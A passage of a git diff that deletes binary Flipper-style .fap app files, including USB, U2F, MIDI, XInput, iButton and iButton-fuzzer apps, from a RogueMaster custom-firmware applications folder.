RM)/RogueMaster/USB/u2f.fap deleted file mode 100644 index b2c3605d2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap deleted file mode 100644 index 7b33c9e3d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_ccb.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap deleted file mode 100644 index 8ea3c126f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_hid_autofire.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap deleted file mode 100644 index b61de0015..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/usb_midi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap deleted file mode 100644 index fc68bfe4c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/xinput_controller.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap deleted file mode 100644 index 77d1cdfc5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap deleted file mode 100644 index 0dd50ffb9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/iButton/ibutton_fuzzer.fap and /dev/null differ